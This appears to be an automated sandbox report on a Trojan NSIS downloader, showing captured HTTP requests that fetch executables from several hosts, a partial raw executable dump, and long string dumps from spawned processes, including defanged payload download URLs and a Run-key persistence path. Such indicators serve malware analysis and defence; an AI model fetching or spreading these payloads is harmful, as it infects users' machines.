Date: Mon, 09 May 2016 04:52:16 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

tracecode: 31362437230599538186050912

Server: Apache
6..url=""..0..HTTP/1.1 200 OK..Date: Mon, 09 May 2016 04:52:16 GMT..Co
ntent-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Conn
ection: keep-alive..Vary: Accept-Encoding..tracecode: 3136243723059953
8186050912..Server: Apache..6..url=""..0......


GET /go/full/1/70988 HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: w.x.baidu.com

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1

HTTP/1.1 302 Moved Temporarily

Date: Mon, 09 May 2016 04:52:16 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Location: .exe

tracecode: 31369573360599538186050912

Server: Apache
0......


GET /go/full/1/.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: w.x.baidu.com

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1

HTTP/1.1 200 OK

Date: Mon, 09 May 2016 04:52:17 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

tracecode: 31375684600599538186050912

Server: Apache
6..url=""..0..HTTP/1.1 200 OK..Date: Mon, 09 May 2016 04:52:17 GMT..Co
ntent-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Conn
ection: keep-alive..Vary: Accept-Encoding..tracecode: 3137568460059953
8186050912..Server: Apache..6..url=""..0..

GET /BaiduPlayerContent/BaiduPlayerNetSetup_481.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: dl.p2sp.baidu.com

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1

HTTP/1.1 404 Not Found

Server: nginx

Date: Mon, 09 May 2016 04:52:20 GMT

Content-Type: text/html

Content-Length: 162

Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx</
center>..</body>..</html>....

GET /20140928/9377mycs_Y_mgaz2_01.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: xiazai.9377.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 08 May 2016 10:27:28 GMT

Server: nginx

Content-Type: application/octet-stream

Content-Length: 665024

Last-Modified: Thu, 23 Oct 2014 08:03:45 GMT

Accept-Ranges: bytes

Age: 1

X-Via: 1.1 fuzhou189:8105 (Cdn Cache Server V2.0), 1.1 db77:1 (Cdn Cache Server V2.0)

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
...........................9a.......................................s.
......`...3...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected]... [email protected]
rc....3...`...4...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>

GET /pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: client.9377.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 09 May 2016 04:52:16 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

Set-Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; path=/; domain=9377.com

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: lm=mgaz2; expires=Mon, 09-May-2016 05:52:16 GMT; path=/; domain=9377.com

Set-Cookie: referer_param=01; expires=Mon, 09-May-2016 05:52:16 GMT; path=/; domain=9377.com

Set-Cookie: check_stack=1

Set-Cookie: rnd=1; expires=Sun, 30-Dec-1979 00:00:00 GMT

X-Via: 9377 g6.wxg.8.s
afb..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<htm
l xmlns="hXXp://VVV.w3.org/1999/xhtml">.<head>.<meta http-
equiv="Content-Type" content="text/html; charset=utf-8" />.<titl
e>............</title>.<link rel="stylesheet" type="text/c
ss" href="hXXp://cdnsource.9377.com/style/my/pc_new.css?20160509101453
" />.<script type="text/javascript" src="hXXp://cdnsource.9377.c
om/js/ajax.js?20160509101453"></script>.<script type="text
/javascript" src="hXXp://cdnsource.9377.com/js/jquery.Slideshow.js?201
60509101453"></script>.<script>.//............url.$(fun
ction(){..$("#Slideshow").Slideshow({isHasTitleBar: false});.}).</s
cript>.</head>..<body>...<script type="text/javascri
pt" src="hXXp://cdnsource.9377.com/js/fast_register.js?20160509101453"
></script>..<script type="text/javascript">.function su
bmit_form(){..var form = $('#form');..if(!$.trim($('#username').val())
 || !$.trim($('#password').val())){...alert('.........................
..');...return false;..}..var password = form.find('input[name=PASSWOR
D]');..password.clone(true).attr('name', 'PASSWORD1').val(password.val
()).hide().appendTo(form);....form.get(0).submit();....return false;.}
.</script>..<div id="quick_register">.    <form action=
"hXXp://wvw.9377.com/register.php" method="post" id="foucs">.    &l
t;input type="hidden" name="do" value="register" />.    <inp
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

... %d%%

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|<>/":

OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\inetc.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\inetc.dll

plorer.lnk

8369.exe/40.jpg

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp

2.ico

b62e7f8369.exe/40.jpg

.reloc

KERNEL32.DLL

NTDLL.DLL

nsProcess.dll

u.Wj@

MSVCRT.dll

HttpSendRequestA

HttpSendRequestExA

HttpQueryInfoA

FtpCreateDirectoryA

FtpOpenFileA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpEndRequestA

InternetCrackUrlA

WININET.dll

inetc.dll

Open URL Error

URL Parts Error

FtpCreateDir failed (550)

Error FTP path (550)

Downloading %s

%dkB (%d%%) of %dkB @ %d.
dkB/s

(%d %s%s remaining)

REST %d

SIZE %s

Content-Length: %d

Content-Type: application/x-www-form-urlencoded

Authorization: basic %s

Proxy-authorization: basic %s

%s:%s

FtpCommandA

wininet.dll

%u MB

%u kB

%u bytes

%d:d:d

%s - %s

(Err=%d)

NSIS_Inetc (Mozilla)

/password

Uploading %s

'%Fu@

e%uy%u

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\1.rar

%original file name%.exe

59E6B6~1.EXE

PlayerNetSetup_481.exe

Windows XP

LOCALS~1\Temp\nsz2.tmp\nsr3.tmp

OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\1.rar

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\1.rar

OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp

1.rar

hXXp://f.handanxinyuan.com

hXXp://123.sogou.com/?21674

ieframe.dll

ins1256858.exe

etup_481.exe

d.exe

S~1\Temp\nsz2.tmp\nsr3.tmp

p://int.dpool.sina.com.cn/iplookup/iplookup.php

hXXp://g.quwen320.com/d/ins1256858.exe

tent/BaiduPlayerNetSetup_481.exe

c:\%original file name%.exe

%WinDir%\AppPatch

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

&'()*) ,

.%/01234567)89!:;<=>?#

H.IJKLM@@N2B567OPQRS

23456789

!"#$%&'(

6789:;<=>?

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency></assembly>

%Documents and Settings%\%current user%\Desktop\Intrenet Explorer.lnk

nst.lnk

%original file name%.exe_1388_rwx_10004000_00001000:

callback%d

iexplore.exe_1796:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.Fg

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

8888880

8887080

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512

MYLogger.exe_284:

.text

`.rdata

@.data

.rsrc

>.uBV

It.It It!It

vSSSh

FTPjK

FtPj;

C.PjRV

FRegDeleteKeyExW

kernel32.dll

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

ADVAPI32.DLL

operator

GetProcessWindowStation

USER32.DLL

portuguese-brazilian

2\Release\Logger.pdb

GetProcessHeap

KERNEL32.dll

EnumChildWindows

CreateDialogIndirectParamW

USER32.dll

SetViewportOrgEx

GDI32.dll

RegDeleteKeyW

RegCloseKey

RegCreateKeyExW

RegOpenKeyExW

RegQueryInfoKeyW

RegEnumKeyExW

RegOpenKeyW

ADVAPI32.dll

ShellExecuteW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

COMCTL32.dll

MSIMG32.dll

FindCloseUrlCache

DeleteUrlCacheEntryW

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

HttpQueryInfoW

HttpSendRequestW

HttpAddRequestHeadersW

HttpOpenRequestW

InternetCrackUrlW

WININET.dll

GdiplusShutdown

gdiplus.dll

SensApi.dll

VERSION.dll

WINTRUST.dll

CryptMsgClose

CertCloseStore

CertFreeCertificateContext

CertGetNameStringW

CertFindCertificateInStore

CryptMsgGetParam

CRYPT32.dll

IPHLPAPI.DLL

GetCPInfo

GetConsoleOutputCP

.?AVMyWebEvent@@

.?AV?$IDispEventSimpleImpl@$00VMyWebEvent@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AV?$_IDispEventLocator@$00$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AV?$CComObject@VMyWebBrowser@@@ATL@@

.?AVMyWebBrowser@@

.?AV?$WebBrowserWnd@VMyWebEvent@@@@

.?AV?$CWindowImpl@V?$WebBrowserWnd@VMyWebEvent@@@@V?$CAxWindowT@VCWindow@ATL@@@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@

.?AV?$bind_t@XV?$mf1@XVScriptPopup@@PAVHttpTask@@@_mfi@boost@@V?$list2@V?$value@PAVScriptPopup@@@_bi@boost@@U?$arg@$00@3@@_bi@3@@_bi@boost@@

.?AV?$bind_t@XV?$mf1@XVPopupWinManager@@PAVHttpTask@@@_mfi@boost@@V?$list2@V?$value@PAVPopupWinManager@@@_bi@boost@@U?$arg@$00@3@@_bi@3@@_bi@boost@@

.?AVHttpTask@@

.?AVHttpTaskImpl@@

zcÁ

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

ShockwaveFlash.ShockwaveFlash

WAdvapi32.dll

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

@LoginForm

Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.

web_browser

%s|%s|%s

passport=

clientCallJs(%d, %d, %d, %d)

MSScriptControl.ScriptControl

%s|%s|%s|%s

%X,%s

DSoftware\Microsoft\Windows\CurrentVersion\Run

%d.%d.%d.%d

D.ini

"%s" "%d"

desktop.ini

HttpClient

mscoree.dll

KERNEL32.DLL

%Program Files%\9377

\MYLogger.exe

1, 0, 0, 4

Copyright (c) 2013 9377.com

MYLogger.exe

ntvdm.exe_280:

.text

`.data

.rsrc

KERNEL32.dll

NTDLL.DLL

ADVAPI32.dll

GDI32.dll

USER32.dll

SoftPC

mscoree.dll

Please contact the application's support team for more information.

GetProcessWindowStation

user32.dll

BIOS keyboard buffer overflow

hardware keyboard buffer overflow

%s Mouse %d.01 already installed

%s Mouse %d.01 installed

d:\xpsp\base\mvdm\softpc.new\host\src\nt_timer.c

d:\xpsp\base\mvdm\softpc.new\host\src\nt_eoi.c

C:\IBMBIO.SYS

C:\IO.SYS

C:\IBMDOS.SYS

C:\MSDOS.SYS

\ntio404.sys

\ntio411.sys

\ntio412.sys

\ntio804.sys

\ntio.sys

VJOY.DLL

%s %lxh

d:\xpsp\base\mvdm\softpc.new\host\src\nt_com.c

d:\xpsp\base\mvdm\softpc.new\host\src\config.c

Software\Microsoft\Windows NT\CurrentVersion\WOW\Console

\\.\$VDMLPT2

\\.\$VDMLPT3

\\.\$VDMLPT1

FONT.NT

\ega.cpi

d:\xpsp\base\mvdm\softpc.new\host\src\nt_fulsc.c

Drive %c:

Incompatible DOS diskette, C H R N = %d %d %d %d

\\.\A:

\\.\?:

d:\xpsp\base\mvdm\softpc.new\host\src\nt_event.c

WINDOWS VMM 4.0

WINDOWS NT 3.1

WINDOWS 386 3.0

WINDOWS 286 3.0

\_default.pif

d:\xpsp\base\mvdm\softpc.new\host\src\nt_det.c

VrRemoveOpenNamedPipeInfo

VrConvertLocalNtPipeName

VrAddOpenNamedPipeInfo

VrIsNamedPipeHandle

VrIsNamedPipeName

VrWriteNamedPipe

VrReadNamedPipe

midiOutShortMsg

midiOutLongMsg

WINMM.DLL

d:\xpsp\base\mvdm\softpc.new\host\src\nt_hosts.c

NtDeviceIoControlFile failed %x

d:\xpsp\base\mvdm\softpc.new\host\src\nt_sec.c

SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx

NTVDMD.DLL

Check Keyboard Status

\ntdos404.sys

\ntdos411.sys

\ntdos412.sys

\ntdos804.sys

\ntdos.sys

demDosDispCall %s

config.nt

PIPE

%c:%sNUL

Software\Microsoft\Windows\CurrentVersion\Setup

Unimplemented SVC %d

Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine

%s=%s%s /p %s\system32

%s=%3.3u,%3.3u,%s\system32\%s.sys%s

KEYB

\KEYBOARD.SYS

\KEYJ31.SYS

\KEY02.SYS

\KEY01.SYS

\KEYAX.SYS

%s,%d,%s

\KB16.COM

DosKeybIDs

System\CurrentControlSet\Control\Keyboard Layout\

DosKeybCodes

00000409

Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility

Broken pipe

Inappropriate I/O control operation

Operation not permitted

ega.rom

vga.rom

v7vga.rom

bios4.rom

bios1.rom

profile.spc

.spcprofile

d:\xpsp\base\mvdm\softpc.new\host\src\x86_emm.c

CS:x IP:x OP:x x x x x

ntvdm.pdb

Ut.Ht$Ht

ItKIt9It.IIt

tK<%uAj

HHt7Ht.Ht

YYt%F

SSSSSh

s*f;O%s$

V<%ue

t.HtHHt(Ht

GetCPInfo

NtEnumerateValueKey

NtOpenKey

ntdll.dll

RegCloseKey

RegQueryInfoKeyA

RegOpenKeyExA

GetConsoleOutputCP

GetSystemWindowsDirectoryA

GetWindowsDirectoryA

SetConsoleKeyShortcuts

VDMConsoleOperation

GetConsoleKeyboardLayoutNameA

EnumWindows

GetKeyState

VkKeyScanW

MapVirtualKeyA

GetKeyboardType

NtQueryValueKey

GetProcessHeap

ntvdm.exe

SoftPcEoi

cmdCheckTemp

cmdCheckTempInit

demIsShortPathName

'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?

$$$(((---222888???

!"#$%&'( 

SoftPC-AT Version 3

89:;<=>?

autoexec.nt

00030<0?0

30333<3?3

<0<3<<<?<

?0?3?<???

!"#$%&'()

Userenv.dll

Software\Microsoft\Windows NT\CurrentVersion\Terminal Server

%SystemRoot%

\System32\command.com

%System%\ntvdm.exe

\\.\B:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

%WinDir%

NTVDM.EXE

5.1.2600.5512 (xpsp.080413-2111)

Windows

Operating System

5.1.2600.5512

5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.,The CMOS file cmos.ram could not be created.,The CMOS file cmos.ram could not be updated.<The memory resources needed by NTVDM could not be allocated.

LAn installation file required by NTVDM is missing, execution must terminate.

Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t

MS-DOS program files must end with the extension .EXE, .COM, or .BAT.

vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format

16 bit Windows Subsystem

VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.

Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.

Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.

Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate<The system cannot open %s port requested by the application.

ntvdm.exe_280_rwx_00000000_00010000:

C:\DOCUME~1\ADM\LOCALS~1\TEMP\NSZ2.TMP\F0916_~1.EXE

F0916_~1EXE

."/\[]:|<> =;,

c:\wina20.386

%WinDir%\SYSTEM32\COUNTRY.SYS

url=""

89:;<=>?

1234567890-=

!@#$%^&*()_ 

789-456 1230.

!"#$%&,-./012

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp

%WinDir%\SYSTEM32\COMMAND.COM

%File allocation table bad, drive %1

Invalid COMMAND.COM

!Press any key to continue . . .

Cannot execute %1

Error in EXE file

%WinDir%\TEMP\scs8.tmp

arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

\COMMAND.COM

COMSPEC=\COMMAND.COM

BMicrosoft(R) Windows DOS

FCOMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]

H [drive:]path Specifies the directory containing COMMAND.COM file.

N /MSG Specifies that all error messages be stored in memory. You

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32

[]|<> =;"

ntvdm.exe_280_rwx_00010000_00090000:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

%WinDir%\TEMP\scs8.tmp

89:;<=>?

0WINDOWS MS-DOS STARTUP FILE

0CONFIG.SYS VS CONFIG.NT

0CONFIG.SYS IS NOT USED TO INITIALIZE THE MS-DOS ENVIRONMENT.

0CONFIG.NT IS USED TO INITIALIZE THE MS-DOS ENVIRONMENT UNLESS A

0IS INITIALIZED. TO DISPLAY CONFIG.NT/AUTOEXEC.NT INFORMATION, ADD

0THE COMMAND ECHOCONFIG TO CONFIG.NT OR OTHER STARTUP FILE.

0NTCMDPROMPT

0MS-DOS-BASED APPLICATION, WINDOWS RUNS COMMAND.COM. THIS ALLOWS THE

0TSR TO REMAIN ACTIVE. TO RUN CMD.EXE, THE WINDOWS COMMAND PROMPT,

0RATHER THAN COMMAND.COM, ADD THE COMMAND NTCMDPROMPT TO CONFIG.NT OR

0COMMAND.COM. IF YOU START AN APPLICATION OTHER THAN AN MS-DOS-BASED

0CONFIG.NT OR OTHER STARTUP FILE.

0WANT THE SYSTEM TO SUPPORT. 1 <= ALTREGSETS <= 255. THE

0AND LEAVE THE RESTS(IF AVAILABLE) TO BE USED BY DOS TO SUPPORT

0WITH YOUR APPLICATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE

D%WinDir%\SYSTEM32\HIMEM.SYS

Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS

S%WinDir%\SYSTEM32\COMMAND.COM

/P %WinDir%\SYSTEM32

ATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE

DEVICE=%WinDir%\SYSTEM32\HIMEM.SYS

COUNTRY=001,437,%WinDir%\SYSTEM32\COUNTRY.SYS

SHELL=%WinDir%\SYSTEM32\COMMAND.COM /P %WinDir%\SYSTEM32

%WinDir%\SYSTEM32\COUNTRY.SYS

[]|<> =;"

%WinDir%\TEMP\scs7.tmp

%WinDir%\SYSTEM32\COMMAND.COM

NTCMDPROMPTT

Unrecognized command in CONFIG.SYS

Insufficient memory for COUNTRY.SYS file

Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored

1234567890-=

!@#$%^&*()_ 

789-456 1230.

!"#$%&,-./012

00030<0?0

30333<3?3

<0<3<<<?<

?0?3?<???

Windows NT MS-DOS subsystem Mouse Driver

/)()(00)(

/@%}-{.Nb#b

!Press any key to continue . . .

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32\DOSX

NT.EXE

C:\DOCUME~1\ADM\LOCALS~1\TEMP\NSZ2.TMP\F0916_~1.EXE

nt.exe

DOSX.EXE

ntvdm.exe_280_rwx_000A0000_00020000:

66666666

6666666

6666666666666666

6666666676666666

6666667076666666

ntvdm.exe_280_rwx_000C9000_00013000:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

%System%\DOSX.EXE

%System%\mscdexnt.exe

VCDEX.DLL

%System%\redir

(load before dosx.exe)

C:\LANMAN.DOS

%System%\dosx

%System%\krnl386.exe

krnl386.exe

SYSTEM.INI

ntvdm.exe_280_rwx_000E8000_00008000:

00030<0?0

30333<3?3

<0<3<<<?<

?0?3?<???

Windows NT MS-DOS subsystem Mouse Driver

ntvdm.exe_280_rwx_00100000_00010000:

/)()(00)(

/@%}-{.Nb#b

to run Windows in Enhanced Mode

69797:6%7'6

C%D%DGDGD8EyD

ntvdm.exe_1436:

.text

`.data

.rsrc

KERNEL32.dll

NTDLL.DLL

ADVAPI32.dll

GDI32.dll

USER32.dll

SoftPC

mscoree.dll

Please contact the application's support team for more information.

GetProcessWindowStation

user32.dll

BIOS keyboard buffer overflow

hardware keyboard buffer overflow

%s Mouse %d.01 already installed

%s Mouse %d.01 installed

d:\xpsp\base\mvdm\softpc.new\host\src\nt_timer.c

d:\xpsp\base\mvdm\softpc.new\host\src\nt_eoi.c

C:\IBMBIO.SYS

C:\IO.SYS

C:\IBMDOS.SYS

C:\MSDOS.SYS

\ntio404.sys

\ntio411.sys

\ntio412.sys

\ntio804.sys

\ntio.sys

VJOY.DLL

%s %lxh

d:\xpsp\base\mvdm\softpc.new\host\src\nt_com.c

d:\xpsp\base\mvdm\softpc.new\host\src\config.c

Software\Microsoft\Windows NT\CurrentVersion\WOW\Console

\\.\$VDMLPT2

\\.\$VDMLPT3

\\.\$VDMLPT1

FONT.NT

\ega.cpi

d:\xpsp\base\mvdm\softpc.new\host\src\nt_fulsc.c

Drive %c:

Incompatible DOS diskette, C H R N = %d %d %d %d

\\.\A:

\\.\?:

d:\xpsp\base\mvdm\softpc.new\host\src\nt_event.c

WINDOWS VMM 4.0

WINDOWS NT 3.1

WINDOWS 386 3.0

WINDOWS 286 3.0

\_default.pif

d:\xpsp\base\mvdm\softpc.new\host\src\nt_det.c

VrRemoveOpenNamedPipeInfo

VrConvertLocalNtPipeName

VrAddOpenNamedPipeInfo

VrIsNamedPipeHandle

VrIsNamedPipeName

VrWriteNamedPipe

VrReadNamedPipe

midiOutShortMsg

midiOutLongMsg

WINMM.DLL

d:\xpsp\base\mvdm\softpc.new\host\src\nt_hosts.c

NtDeviceIoControlFile failed %x

d:\xpsp\base\mvdm\softpc.new\host\src\nt_sec.c

SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx

NTVDMD.DLL

Check Keyboard Status

\ntdos404.sys

\ntdos411.sys

\ntdos412.sys

\ntdos804.sys

\ntdos.sys

demDosDispCall %s

config.nt

PIPE

%c:%sNUL

Software\Microsoft\Windows\CurrentVersion\Setup

Unimplemented SVC %d

Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine

%s=%s%s /p %s\system32

%s=%3.3u,%3.3u,%s\system32\%s.sys%s

KEYB

\KEYBOARD.SYS

\KEYJ31.SYS

\KEY02.SYS

\KEY01.SYS

\KEYAX.SYS

%s,%d,%s

\KB16.COM

DosKeybIDs

System\CurrentControlSet\Control\Keyboard Layout\

DosKeybCodes

00000409

Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility

Broken pipe

Inappropriate I/O control operation

Operation not permitted

ega.rom

vga.rom

v7vga.rom

bios4.rom

bios1.rom

profile.spc

.spcprofile

d:\xpsp\base\mvdm\softpc.new\host\src\x86_emm.c

CS:x IP:x OP:x x x x x

ntvdm.pdb

Ut.Ht$Ht

ItKIt9It.IIt

tK<%uAj

HHt7Ht.Ht

YYt%F

SSSSSh

s*f;O%s$

V<%ue

t.HtHHt(Ht

GetCPInfo

NtEnumerateValueKey

NtOpenKey

ntdll.dll

RegCloseKey

RegQueryInfoKeyA

RegOpenKeyExA

GetConsoleOutputCP

GetSystemWindowsDirectoryA

GetWindowsDirectoryA

SetConsoleKeyShortcuts

VDMConsoleOperation

GetConsoleKeyboardLayoutNameA

EnumWindows

GetKeyState

VkKeyScanW

MapVirtualKeyA

GetKeyboardType

NtQueryValueKey

GetProcessHeap

ntvdm.exe

SoftPcEoi

cmdCheckTemp

cmdCheckTempInit

demIsShortPathName

'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?

$$$(((---222888???

!"#$%&'( 

SoftPC-AT Version 3

89:;<=>?

autoexec.nt

00030<0?0

30333<3?3

<0<3<<<?<

?0?3?<???

!"#$%&'()

Userenv.dll

Software\Microsoft\Windows NT\CurrentVersion\Terminal Server

%SystemRoot%

\System32\command.com

%System%\ntvdm.exe

\\.\B:

